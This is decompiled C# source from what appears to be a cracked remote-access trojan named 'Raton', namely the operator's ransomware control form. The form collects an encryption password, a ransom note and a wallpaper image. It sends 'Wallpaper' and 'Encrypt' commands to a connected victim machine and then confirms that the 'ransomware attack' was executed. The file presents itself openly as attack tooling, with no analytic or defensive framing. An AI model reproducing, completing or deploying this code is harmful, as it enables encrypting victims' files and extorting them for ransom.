214 lines
8.3 KiB
C#
214 lines
8.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Raton.Forms.ClientForms.Misc.ratonRansomware
|
||
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
|
|
||
|
|
using DarkModeForms;
|
||
|
|
using Raton.Classes;
|
||
|
|
using Raton.Properties;
|
||
|
|
using Server.Connection;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.ComponentModel;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.IO;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
namespace Raton.Forms.ClientForms.Misc;
|
||
|
|
|
||
|
|
public class ratonRansomware : Form
|
||
|
|
{
|
||
|
|
private static string defaultImagePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Ransomware.jpg");
|
||
|
|
private string selectedImagePath = File.Exists(ratonRansomware.defaultImagePath) ? ratonRansomware.defaultImagePath : string.Empty;
|
||
|
|
private IContainer components;
|
||
|
|
private TextBox textBox1;
|
||
|
|
private Label label1;
|
||
|
|
private Timer timer1;
|
||
|
|
private Button button1;
|
||
|
|
private TextBox textBox2;
|
||
|
|
private Label label2;
|
||
|
|
private PictureBox pictureBox1;
|
||
|
|
private RgbBuildButton rgbBuildButton1;
|
||
|
|
|
||
|
|
public SillyClient SillyClient { get; set; }
|
||
|
|
|
||
|
|
public ratonRansomware()
|
||
|
|
{
|
||
|
|
this.InitializeComponent();
|
||
|
|
DarkMode.Start((Form) this);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ratonRansomware_Load(object sender, EventArgs e) => this.timer1.Start();
|
||
|
|
|
||
|
|
private void timer1_Tick(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||
|
|
return;
|
||
|
|
this.Close();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void button2_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (this.textBox1.TextLength < 1)
|
||
|
|
{
|
||
|
|
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||
|
|
}
|
||
|
|
else if (this.textBox2.TextLength < 1)
|
||
|
|
{
|
||
|
|
int num2 = (int) Messenger.MessageBox("Please insert a password", "Error", icon: MessageBoxIcon.Hand);
|
||
|
|
}
|
||
|
|
else if (string.IsNullOrEmpty(this.selectedImagePath))
|
||
|
|
{
|
||
|
|
int num3 = (int) Messenger.MessageBox("Please select the wallpaper", "Error", icon: MessageBoxIcon.Hand);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
string base64String = Convert.ToBase64String(File.ReadAllBytes(this.selectedImagePath));
|
||
|
|
Pack pack1 = new Pack();
|
||
|
|
pack1.SetString("Packet", "Wallpaper");
|
||
|
|
pack1.SetString("Image", base64String);
|
||
|
|
this.SillyClient.Send(pack1.Pacc());
|
||
|
|
Pack pack2 = new Pack();
|
||
|
|
pack2.SetString("Packet", "Encrypt");
|
||
|
|
pack2.SetString("Password", this.textBox1.Text);
|
||
|
|
pack2.SetString("Content", this.textBox2.Text);
|
||
|
|
this.SillyClient.Send(pack2.Pacc());
|
||
|
|
int num4 = (int) Messenger.MessageBox("Ransomware attack executed, it will take some moments depending on the network", "Encryptor", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void pictureBox1_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||
|
|
{
|
||
|
|
openFileDialog.Title = "Select a wallpaper";
|
||
|
|
openFileDialog.Filter = "Windows supported|*.jpg;*.jpeg;*.bmp";
|
||
|
|
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||
|
|
return;
|
||
|
|
try
|
||
|
|
{
|
||
|
|
this.selectedImagePath = openFileDialog.FileName;
|
||
|
|
Path.GetFileName(this.selectedImagePath);
|
||
|
|
this.pictureBox1.BackgroundImage = Image.FromFile(this.selectedImagePath);
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void button1_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (this.button1.Text == "Show")
|
||
|
|
{
|
||
|
|
this.button1.Text = "Hide";
|
||
|
|
this.textBox1.UseSystemPasswordChar = false;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
this.button1.Text = "Show";
|
||
|
|
this.textBox1.UseSystemPasswordChar = true;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
protected override void Dispose(bool disposing)
|
||
|
|
{
|
||
|
|
if (disposing && this.components != null)
|
||
|
|
this.components.Dispose();
|
||
|
|
base.Dispose(disposing);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void InitializeComponent()
|
||
|
|
{
|
||
|
|
this.components = (IContainer) new System.ComponentModel.Container();
|
||
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonRansomware));
|
||
|
|
this.textBox1 = new TextBox();
|
||
|
|
this.label1 = new Label();
|
||
|
|
this.timer1 = new Timer(this.components);
|
||
|
|
this.button1 = new Button();
|
||
|
|
this.textBox2 = new TextBox();
|
||
|
|
this.label2 = new Label();
|
||
|
|
this.pictureBox1 = new PictureBox();
|
||
|
|
this.rgbBuildButton1 = new RgbBuildButton();
|
||
|
|
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||
|
|
this.SuspendLayout();
|
||
|
|
this.textBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.textBox1.Location = new Point(15, 28);
|
||
|
|
this.textBox1.Name = "textBox1";
|
||
|
|
this.textBox1.Size = new Size(586, 22);
|
||
|
|
this.textBox1.TabIndex = 0;
|
||
|
|
this.textBox1.UseSystemPasswordChar = true;
|
||
|
|
this.label1.AutoSize = true;
|
||
|
|
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.label1.Location = new Point(12, 9);
|
||
|
|
this.label1.Name = "label1";
|
||
|
|
this.label1.Size = new Size(117, 15);
|
||
|
|
this.label1.TabIndex = 1;
|
||
|
|
this.label1.Text = "Encryption password";
|
||
|
|
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||
|
|
this.button1.Location = new Point(607, 28);
|
||
|
|
this.button1.Name = "button1";
|
||
|
|
this.button1.Size = new Size(64 /*0x40*/, 23);
|
||
|
|
this.button1.TabIndex = 2;
|
||
|
|
this.button1.Text = "Show";
|
||
|
|
this.button1.UseVisualStyleBackColor = true;
|
||
|
|
this.button1.Click += new EventHandler(this.button1_Click);
|
||
|
|
this.textBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.textBox2.Location = new Point(15, 81);
|
||
|
|
this.textBox2.Multiline = true;
|
||
|
|
this.textBox2.Name = "textBox2";
|
||
|
|
this.textBox2.Size = new Size(656, 130);
|
||
|
|
this.textBox2.TabIndex = 3;
|
||
|
|
this.textBox2.Text = componentResourceManager.GetString("textBox2.Text");
|
||
|
|
this.label2.AutoSize = true;
|
||
|
|
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.label2.Location = new Point(12, 62);
|
||
|
|
this.label2.Name = "label2";
|
||
|
|
this.label2.Size = new Size(76, 15);
|
||
|
|
this.label2.TabIndex = 4;
|
||
|
|
this.label2.Text = "Ransom note";
|
||
|
|
this.pictureBox1.BackgroundImage = (Image) Resources.Ransomware;
|
||
|
|
this.pictureBox1.BackgroundImageLayout = ImageLayout.Zoom;
|
||
|
|
this.pictureBox1.Location = new Point(15, 218);
|
||
|
|
this.pictureBox1.Name = "pictureBox1";
|
||
|
|
this.pictureBox1.Size = new Size(656, 282);
|
||
|
|
this.pictureBox1.TabIndex = 6;
|
||
|
|
this.pictureBox1.TabStop = false;
|
||
|
|
this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
|
||
|
|
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||
|
|
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||
|
|
this.rgbBuildButton1.ForeColor = Color.White;
|
||
|
|
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_lock_shield_24_filled;
|
||
|
|
this.rgbBuildButton1.IconSize = 26;
|
||
|
|
this.rgbBuildButton1.IconSpacing = 8;
|
||
|
|
this.rgbBuildButton1.Location = new Point(15, 507);
|
||
|
|
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||
|
|
this.rgbBuildButton1.Size = new Size(656, 46);
|
||
|
|
this.rgbBuildButton1.TabIndex = 7;
|
||
|
|
this.rgbBuildButton1.Text = "Gotta encrypt 'em all!";
|
||
|
|
this.rgbBuildButton1.Click += new EventHandler(this.button2_Click);
|
||
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
||
|
|
this.ClientSize = new Size(691, 577);
|
||
|
|
this.Controls.Add((Control) this.rgbBuildButton1);
|
||
|
|
this.Controls.Add((Control) this.textBox2);
|
||
|
|
this.Controls.Add((Control) this.pictureBox1);
|
||
|
|
this.Controls.Add((Control) this.label2);
|
||
|
|
this.Controls.Add((Control) this.button1);
|
||
|
|
this.Controls.Add((Control) this.textBox1);
|
||
|
|
this.Controls.Add((Control) this.label1);
|
||
|
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||
|
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||
|
|
this.MaximizeBox = false;
|
||
|
|
this.Name = nameof (ratonRansomware);
|
||
|
|
this.StartPosition = FormStartPosition.CenterScreen;
|
||
|
|
this.Text = nameof (ratonRansomware);
|
||
|
|
this.Load += new EventHandler(this.ratonRansomware_Load);
|
||
|
|
((ISupportInitialize) this.pictureBox1).EndInit();
|
||
|
|
this.ResumeLayout(false);
|
||
|
|
this.PerformLayout();
|
||
|
|
}
|
||
|
|
}
|